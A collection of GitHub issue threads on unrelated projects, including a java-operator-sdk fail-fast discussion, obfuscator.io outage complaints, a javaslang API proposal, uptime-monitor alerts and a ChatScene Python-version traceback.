2021-01-25 13:19:32,462 INFO  [io.quarkus] (Quarkus Main Thread) operator-framework-samples-quarkus 1.7.1-SNAPSHOT on JVM (powered by Quarkus 1.11.0.Final) started in 2.376s. Listening on: http://localhost:8080
2021-01-25 13:19:32,463 INFO  [io.quarkus] (Quarkus Main Thread) Profile dev activated. Live Coding activated.
2021-01-25 13:19:32,463 INFO  [io.quarkus] (Quarkus Main Thread) Installed features: [cdi, kubernetes, kubernetes-client, operator-sdk, smallrye-health]
2021-01-25 13:19:33,128 INFO  [io.jav.ope.Operator] (Quarkus Main Thread) Registered Controller: 'CustomServiceController_ClientProxy' for CRD: 'class io.javaoperatorsdk.operator.sample.CustomService' for namespaces: [all namespaces]
CR class: class io.javaoperatorsdk.operator.sample.CustomService

About #315 - What's the new functionality there? Until now the Operator crashed if the CRD wasn't present. Does it just quietly not register the controller now?

About #315 - What's the new functionality there? Until now the Operator crashed if the CRD wasn't present. Does it just quietly not register the controller now?

About #315 - What's the new functionality there? Until now the Operator crashed if the CRD wasn't present. Does it just quietly not register the controller now?

It logs a warning and skips the controller registration so that other controllers can still be registered and the operator proceeds.

About #315 - What's the new functionality there? Until now the Operator crashed if the CRD wasn't present. Does it just quietly not register the controller now?

It logs a warning and skips the controller registration so that other controllers can still be registered and the operator proceeds.

About #315 - What's the new functionality there? Until now the Operator crashed if the CRD wasn't present. Does it just quietly not register the controller now?

It logs a warning and skips the controller registration so that other controllers can still be registered and the operator proceeds.

Not sure that is a good thing, won't be better just fail? Follow the fail fast principle. If something in the code that intends to register a controller but it is not working, is a big issue, this means the operator is de facto not working as intended.

About #315 - What's the new functionality there? Until now the Operator crashed if the CRD wasn't present. Does it just quietly not register the controller now?

It logs a warning and skips the controller registration so that other controllers can still be registered and the operator proceeds.

Not sure that is a good thing, won't be better just fail? Follow the fail fast principle. If something in the code that intends to register a controller but it is not working, is a big issue, this means the operator is de facto not working as intended.

About #315 - What's the new functionality there? Until now the Operator crashed if the CRD wasn't present. Does it just quietly not register the controller now?

It logs a warning and skips the controller registration so that other controllers can still be registered and the operator proceeds.

Not sure that is a good thing, won't be better just fail? Follow the fail fast principle. If something in the code that intends to register a controller but it is not working, is a big issue, this means the operator is de facto not working as intended.

I agree that fail fast is better then not registering a controller. Kubernetes is already so async it's hard to find what's causing an issue. This could lead to a situation where the admin says the operator is running while users are complaining that their CRs aren't working.

About #315 - What's the new functionality there? Until now the Operator crashed if the CRD wasn't present. Does it just quietly not register the controller now?

It logs a warning and skips the controller registration so that other controllers can still be registered and the operator proceeds.

Not sure that is a good thing, won't be better just fail? Follow the fail fast principle. If something in the code that intends to register a controller but it is not working, is a big issue, this means the operator is de facto not working as intended.

I agree that fail fast is better then not registering a controller. Kubernetes is already so async it's hard to find what's causing an issue. This could lead to a situation where the admin says the operator is running while users are complaining that their CRs aren't working.

About #315 - What's the new functionality there? Until now the Operator crashed if the CRD wasn't present. Does it just quietly not register the controller now?

It logs a warning and skips the controller registration so that other controllers can still be registered and the operator proceeds.

Not sure that is a good thing, won't be better just fail? Follow the fail fast principle. If something in the code that intends to register a controller but it is not working, is a big issue, this means the operator is de facto not working as intended.

I agree that fail fast is better then not registering a controller. Kubernetes is already so async it's hard to find what's causing an issue. This could lead to a situation where the admin says the operator is running while users are complaining that their CRs aren't working.

That's a fair point, however in a Kubernetes environment, it might be tricky to diagnose the issue if you just crash the operator as it will cause the pod to restart all the time. Not sure what's the best solution here from an ops' perspective… 🤔

About #315 - What's the new functionality there? Until now the Operator crashed if the CRD wasn't present. Does it just quietly not register the controller now?

It logs a warning and skips the controller registration so that other controllers can still be registered and the operator proceeds.

Not sure that is a good thing, won't be better just fail? Follow the fail fast principle. If something in the code that intends to register a controller but it is not working, is a big issue, this means the operator is de facto not working as intended.

I agree that fail fast is better then not registering a controller. Kubernetes is already so async it's hard to find what's causing an issue. This could lead to a situation where the admin says the operator is running while users are complaining that their CRs aren't working.

That's a fair point, however in a Kubernetes environment, it might be tricky to diagnose the issue if you just crash the operator as it will cause the pod to restart all the time. Not sure what's the best solution here from an ops' perspective… 🤔

About #315 - What's the new functionality there? Until now the Operator crashed if the CRD wasn't present. Does it just quietly not register the controller now?

It logs a warning and skips the controller registration so that other controllers can still be registered and the operator proceeds.

Not sure that is a good thing, won't be better just fail? Follow the fail fast principle. If something in the code that intends to register a controller but it is not working, is a big issue, this means the operator is de facto not working as intended.

I agree that fail fast is better then not registering a controller. Kubernetes is already so async it's hard to find what's causing an issue. This could lead to a situation where the admin says the operator is running while users are complaining that their CRs aren't working.

That's a fair point, however in a Kubernetes environment, it might be tricky to diagnose the issue if you just crash the operator as it will cause the pod to restart all the time. Not sure what's the best solution here from an ops' perspective… 🤔

You can still check the logs of the pod if it started up and failed later, so that would not be a problem. (The problem is when the container cannot be started, in that case you don't see anything, but this is not this case.)

About #315 - What's the new functionality there? Until now the Operator crashed if the CRD wasn't present. Does it just quietly not register the controller now?

It logs a warning and skips the controller registration so that other controllers can still be registered and the operator proceeds.

Not sure that is a good thing, won't be better just fail? Follow the fail fast principle. If something in the code that intends to register a controller but it is not working, is a big issue, this means the operator is de facto not working as intended.

I agree that fail fast is better then not registering a controller. Kubernetes is already so async it's hard to find what's causing an issue. This could lead to a situation where the admin says the operator is running while users are complaining that their CRs aren't working.

That's a fair point, however in a Kubernetes environment, it might be tricky to diagnose the issue if you just crash the operator as it will cause the pod to restart all the time. Not sure what's the best solution here from an ops' perspective… 🤔

You can still check the logs of the pod if it started up and failed later, so that would not be a problem. (The problem is when the container cannot be started, in that case you don't see anything, but this is not this case.)

Can we merge this, @adam-sandor @csviri ?

Can we merge this, @adam-sandor @csviri ?

@metacosm  LGTM

@metacosm  LGTM

LGTM too

LGTM too

authors: adam-sandor csviri metacosm

repo: java-operator-sdk/java-operator-sdk


text:
Auto-populate fields

Current version

插入和更新在数据缺少时自动填充。常用的业务为create_time, update_time 等

这个功能感觉有点鸡肋。

repo: javaoffers/briefest


text:
Obfuscator.io mirror?

Is there a working mirror of the online version? It appears https://obfuscator.io is down.
524 Timeout Error

Same - need to use it and offline. Eeek!

Looks like use uptimerobot.com to monitoring it could be a good idea if admin is still alive... It has been down for few days in a row.

try this website https://javascript-obfuscator.org/ it worked for me

Sorry for delay, i reloaded https://obfuscator.io/.
javascript-obfuscator.org - is not official

Is https://obfuscator.io down ?

Hiya @sanex3339 obfuscator.io seems to be down.

Hi, I'll look into this

Should work now

@sanex3339 it does, thank you 👍

down again it seems

Down again. Do you need help hosting it?

It's down again..

down.

Working for me

its down for me

down again..

We can offer you sponsored hosting for this tool. It is really important and cannot be down.
Please get it back online soon :)

If your work depends on the tool, you should self-host it locally (https://github.com/javascript-obfuscator/javascript-obfuscator-ui) or integrate it in your build process.

Should work now.
The problem that obfuscator server sometimes is stopped and currently the only way to rerun it is to restart instance manually.
I tried to enable pm2 (https://github.com/javascript-obfuscator/javascript-obfuscator-ui/blob/master/ecosystem.config.js), but got strange problem with Gandi simple hosting.
Will try again in the future.

authors: BattleDashLeaks djape007 egfx gnawh mattpass micheldaoud piptan sanex3339 slig xeydod zarza


text:
Return Option from javaslang.collection.Traversable#mkString(...)

It will be nice to have additional alternative methods of javaslang.collection.Traversable#mkString(...) which will return javaslang.control.Option, it may be useful in case if after all manipulations we got empty string and we want to return default value in this case.
For example, with new method mkOptionString(...) it may looks like this:
CharSeq.of("000000000")
       .dropWhile(is('0'))
       .mkOptionString()
       .getOrElse("0");

Currently it is possible by doing something like this:
Option.of(CharSeq.of("000000000")
                 .dropWhile(is('0'))
                 .mkString())
      .filter(noneOf(String::isEmpty))
      .getOrElse("0");

I think this could be generalized via a default-if-empty method (maybe in Traversable):
public CharSeq defaultIfEmpty(CharSeq defaultValue) {
    return isEmpty() ? defaultValue : this;
}
public CharSeq defaultIfEmpty(Supplier<CharSeq> defaultValue) {
    return isEmpty() ? defaultValue.get() : this;
}

giving the following solution to your problem (with API.CharSeq static import):
CharSeq("000000000")
       .dropWhile(is('0'))
       .defaultIfEmpty(CharSeq("0"))
       .mkString();

-> 0
CharSeq("000000000")
       .defaultIfEmpty(CharSeq("0"))
       .mkString();

-> 000000000
What do you think, @danieldietrich?

@paplorinc I like you suggestion of having a method that defaults to a specific object in the empty case. We know it already from Scala, it's name is orElse.
The problem with orElse is, that we need higher-order types in order to define it properly throughout the type hierarchy. For that reason Value does not declare that method. Instead All subtypes of Value (but Traversable) define it. (See also #909)
Currently Traversable does not define it because the problem still remains - we can't define a proper method signature that works well throughout the Traversable hierarchy:
interface Traversable<T> extends Value<T> {
    Traversable<T> orElse(Traversable<? extends T> other);
}

interface Seq<T> extends Traversable<T> {
    @Override   // v---- does not compile
    Seq<T> orElse(Seq<? extends T> other);
}

We could create alternate method signatures that 'behave as expected':
interface Traversable<T> extends Value<T> {

    Traversable<T> orElse(Iterable<? extends T> other);

    Traversable<T> orElse(Supplier<? extends Iterable<? extends T>> supplier);
}

interface Seq<T> extends Traversable<T> {

    @Override
    Seq<T> orElse(Iterable<? extends T> other);

    @Override
    Seq<T> orElse(Supplier<? extends Iterable<? extends T>> supplier);
}

The implementations look like this:
isEmpty() ? ofAll(other) : this;

Fixed by @ruslansennov

authors: danieldietrich mind-blowing paplorinc

repo: javaslang/javaslang


text:
Support for deeplinks in json file and library

I'm using json: If i put a deeplink of a third party store (Samsung) i get a URL Exception
my deeplink is "url": "samsungapps://ProductDetail/com.myapp.android",
it would be perfect if this awesome lib can handle deeplinks too rather than just URL Objects.

I guess implementation of deeplinks must be made on AndroidManifest.xml from your application, isn't it?

repo: javiersantos/AppUpdater


text:
🛑 Antonio Acuña, 10 is down

In 16ef009, Antonio Acuña, 10 (http://159.65.204.200:7047/) was down:

HTTP code: 502
Response time: 18792 ms

Resolved: Antonio Acuña, 10 is back up in a0c8ce3.

repo: javisu/monitor


text:
🛑 Rodriguez Marin, 88 is down

In 2dc3c27, Rodriguez Marin, 88 (http://159.65.204.200:7057/) was down:

HTTP code: 502
Response time: 18785 ms

Resolved: Rodriguez Marin, 88 is back up in e99ff4d.


text:
🛑 Paseo de Extremadura, 298 is down

In 29bef8e, Paseo de Extremadura, 298 (http://159.65.204.200:7046/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Paseo de Extremadura, 298 is back up in 06773eb.


text:
🛑 Cardenal Siliceo 25 is down

In 0344311, Cardenal Siliceo 25 (http://159.65.204.200:7006/) was down:

HTTP code: 502
Response time: 18734 ms

Resolved: Cardenal Siliceo 25 is back up in 301b277 after 18 minutes.


text:
🛑 Rodriguez Marin, 88 is down

In 840d055, Rodriguez Marin, 88 (http://159.65.204.200:7057/) was down:

HTTP code: 502
Response time: 18607 ms

Resolved: Rodriguez Marin, 88 is back up in 6194b82 after 14 minutes.


text:
Error: NameError: name 'Vector' is not defined

When I use run_eval.py, parameters like this
parser.add_argument('--mode', '-m', type=str, default='eval', choices=['train_agent', 'train_scenario', 'eval'])
parser.add_argument('--agent_cfg', nargs='', type=str, default=['adv_scenic.yaml'])
parser.add_argument('--scenario_cfg', nargs='', type=str, default=['eval_scenic.yaml'])
but got something error:
adv_scenic.yaml eval_scenic.yaml failed!
Traceback (most recent call last):
File "/home/oem/Downloads/ChatScene-main/scripts/run_eval.py", line 93, in
runner.run(args.test_epoch)
File "/home/oem/Downloads/ChatScene-main/safebench/scenic_runner.py", line 464, in run
self._init_scenic(config)
File "/home/oem/Downloads/ChatScene-main/safebench/scenic_runner.py", line 155, in _init_scenic
self.scenic = ScenicSimulator(config.scenic_file, config.extra_params)
File "/home/oem/Downloads/ChatScene-main/safebench/util/scenic_utils.py", line 127, in init
self.scenario = errors.callBeginningScenicTrace(
File "/home/oem/SafeCerebro/Scenic/src/scenic/core/errors.py", line 228, in callBeginningScenicTrace
return func()
File "/home/oem/Downloads/ChatScene-main/safebench/util/scenic_utils.py", line 128, in
lambda: translator.scenarioFromFile(self.args.scenicFile,
File "/home/oem/SafeCerebro/Scenic/src/scenic/syntax/translator.py", line 124, in scenarioFromFile
return scenarioFromStream(stream, params=params, model=model, scenario=scenario,
File "/home/oem/SafeCerebro/Scenic/src/scenic/syntax/translator.py", line 134, in scenarioFromStream
compileStream(stream, namespace, params=params, model=model, filename=filename)
File "/home/oem/SafeCerebro/Scenic/src/scenic/syntax/translator.py", line 289, in compileStream
executeCodeIn(code, namespace)
File "/home/oem/SafeCerebro/Scenic/src/scenic/syntax/translator.py", line 2256, in executeCodeIn
exec(code, namespace)
File "/home/oem/Downloads/ChatScene-main/safebench/scenario/scenario_data/scenic_data/scenario_1/behavior_1_opt.scenic", line 29, in
AdvAgent = Pedestrian right of IntSpawnPt by globalParameters.OPT_GEO_X_DISTANCE,
File "/home/oem/SafeCerebro/Scenic/src/scenic/simulators/carla/model.scenic", line 124, in init
super().init(*args, **kwargs)
File "/home/oem/SafeCerebro/Scenic/src/scenic/syntax/veneer.py", line 212, in callWithStarArgs
return _func_to_call(*args, **kwargs)
File "/home/oem/anaconda3/envs/safebench/lib/python3.8/site-packages/decorator.py", line 232, in fun
return caller(func, *(extras + args), **kw)
File "/home/oem/SafeCerebro/Scenic/src/scenic/core/distributions.py", line 401, in helper
return wrapped(*args, **kwargs)
File "/home/oem/SafeCerebro/Scenic/src/scenic/core/object_types.py", line 511, in init
super().init(*args, **kwargs)
File "/home/oem/SafeCerebro/Scenic/src/scenic/core/object_types.py", line 84, in init
self._applySpecifiers(specifiers)
File "/home/oem/SafeCerebro/Scenic/src/scenic/core/object_types.py", line 168, in _applySpecifiers
spec.applyTo(self, optionalsForSpec[spec])  # calls _specify
File "/home/oem/SafeCerebro/Scenic/src/scenic/core/specifiers.py", line 30, in applyTo
val = valueInContext(self.value, obj)
File "/home/oem/SafeCerebro/Scenic/src/scenic/core/lazy_eval.py", line 173, in valueInContext
return value.evaluateIn(context)
File "/home/oem/SafeCerebro/Scenic/src/scenic/core/lazy_eval.py", line 49, in evaluateIn
value = self.evaluateInner(context)
File "/home/oem/SafeCerebro/Scenic/src/scenic/core/lazy_eval.py", line 111, in evaluateInner
return self.value(context)
File "/home/oem/SafeCerebro/Scenic/src/scenic/syntax/veneer.py", line 1077, in
val = lambda self: pos.relativize(makeOffset(self, dx, dy))
File "/home/oem/SafeCerebro/Scenic/src/scenic/core/object_types.py", line 441, in relativize
pos = self.relativePosition(vec)
File "/home/oem/SafeCerebro/Scenic/src/scenic/core/object_types.py", line 445, in relativePosition
return self.position.offsetRotated(self.heading, vec)
File "/home/oem/SafeCerebro/Scenic/src/scenic/core/distributions.py", line 547, in call
retTy = typing.get_type_hints(func).get('return')
File "/home/oem/anaconda3/envs/safebench/lib/python3.8/typing.py", line 1257, in get_type_hints
value = _eval_type(value, globalns, localns)
File "/home/oem/anaconda3/envs/safebench/lib/python3.8/typing.py", line 270, in _eval_type
return t._evaluate(globalns, localns)
File "/home/oem/anaconda3/envs/safebench/lib/python3.8/typing.py", line 518, in _evaluate
eval(self.forward_code, globalns, localns),
File "", line 1, in
NameError: name 'Vector' is not defined

I've encountered the same situation. The problem was solved after I upgraded my Python version from 3.8.0 to 3.8.16.

Hi, yeah, exactly, it is due to the python version, you should use 3.8.16, i will also add the version requirement to repo later.

authors: AndyBestaa caixxuan javyduck

repo: javyduck/ChatScene